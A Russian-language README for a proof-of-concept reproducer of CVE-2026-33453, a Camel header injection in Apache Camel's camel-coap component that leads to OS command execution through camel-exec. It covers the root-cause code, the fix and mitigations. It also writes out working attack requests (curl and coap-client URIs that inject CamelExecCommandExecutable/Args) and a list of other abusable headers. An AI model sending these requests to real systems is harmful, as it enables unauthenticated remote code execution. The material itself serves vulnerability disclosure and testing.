
Репродуктор для CVE-2026-33453: инъекция заголовков в Apache Camel camel-coap с последующим RCE через camel-exec
Этот проект демонстрирует уязвимость внедрения заголовков сообщений Camel в компоненте camel-coap Apache Camel, отслеживаемую как CVE-2026-33453. Неаутентифицированный злоумышленник, способный отправить один CoAP UDP-пакет, может внедрить произвольные управляющие заголовки Camel* в Exchange, что приводит к удалённому выполнению кода, если маршрут перенаправляет данные к производителю, чувствительному к заголовкам, такому как camel-exec.
Консультация: https://camel.apache.org/security/CVE-2026-33453.html
| Свойство | Значение |
|---|
| Компонент | camel-coap |
| Затронутый класс | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Основная причина | Параметры URI запроса CoAP копируются в заголовки Exchange без HeaderFilterStrategy |
| CWE | CWE-915: Неконтролируемая модификация динамически определяемых атрибутов объектов |
| Воздействие | Удалённое выполнение кода (через чувствительные к заголовкам производители, например, camel-exec) |
| Поверхность атаки | Один неаутентифицированный CoAP UDP-датаграмма (порт по умолчанию 5683) |
| Затронутые версии | С 4.14.0 до 4.14.6 и с 4.15.0 до 4.18.1 |
| Исправленные версии | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Сообщивший | Хёнву Ким (@v4bel) |
В затронутых версиях CamelCoapResource.handleRequest() перебирает параметры URI запроса CoAP и копирует каждый из них в заголовки входящих сообщений Camel Exchange без применения какого-либо HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint расширяет DefaultEndpoint (не DefaultHeaderFilterStrategyEndpoint), а CoAPComponent не реализует HeaderFilterStrategyComponent, поэтому фильтрация отсутствует. Следовательно, злоумышленник может установить любой заголовок — включая внутренние управляющие заголовки Camel* — просто добавив параметры запроса к URI CoAP.
Когда маршрут доставляет сообщение производителю, чувствительному к заголовкам, эти заголовки изменяют его поведение. Для camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют исполняемый файл и аргументы, настроенные в конечной точке (по умолчанию они учитываются в затронутых версиях), что приводит к произвольному выполнению команд ОС. Стандартный вывод команды записывается обратно в тело Exchange и возвращается в CoAP-ответе, обеспечивая интерактивный канал RCE.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
Безвредный запрос выполняет echo hello. Злоумышленник переопределяет команду через внедрённые заголовки.
CoAP основан на UDP (RFC 7252) и не имеет встроенной аутентификации (DTLS является опциональным и по умолчанию отключён), поэтому не требуется внешних сервисов или Docker-контейнеров — приложение-воспроизводитель одновременно является и уязвимым CoAP-сервером, и встроенным клиентом атакующего (также подойдёт обычный клиент, например coap-client из libcoap).
mvn clean package -DskipTests
mvn spring-boot:run
Приложение запускает уязвимый маршрут на coap://0.0.0.0:5683/run и вспомогательный REST-контроллер на порту 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Безвредное доказательство по умолчанию: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Выбор другого исполняемого файла/аргументов:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Под капотом встроенный CoAP-клиент отправляет одну датаграмму:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
С помощью обычного CoAP-клиента:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Если /tmp/pwned существует, внедрённый заголовок переопределил команду exec → RCE.
Для внедрения требуется только чувствительный к заголовкам производитель ниже по маршруту. В консультации перечислены, среди прочих:
CamelExecCommandExecutable / CamelExecCommandArgs → выполнение команд ОСCamelFileName → произвольная запись файлов / обход путиCamelBeanMethodName → вызов другого методаcoap://....removeHeaders("Camel*") между CoAP-потребителем и этим производителем.Аутентификация не требуется; достаточно одного UDP-датаграммы на порт 5683.
Исправление (CAMEL-23222) добавляет HeaderFilterStrategy в CoAPEndpoint и применяет его в handleRequest() перед установкой заголовков, так что имена с префиксом Camel* фильтруются на границе CoAP, как и в любом другом транспорте:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
До обновления:
.removeHeaders("Camel*") сразу после from("coap:...").coaps://) с аутентификацией клиента, чтобы ограничить доступ к конечной точке.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Точка входа Spring Boot
│ ├── CoapExecRoute.java # Уязвимый маршрут-жертва (coap -> exec)
│ └── ExploitController.java # Встроенный CoAP-клиент атакующего (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Данное средство воспроизведения предоставляется только для исследований безопасности и авторизованного тестирования в отношении публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.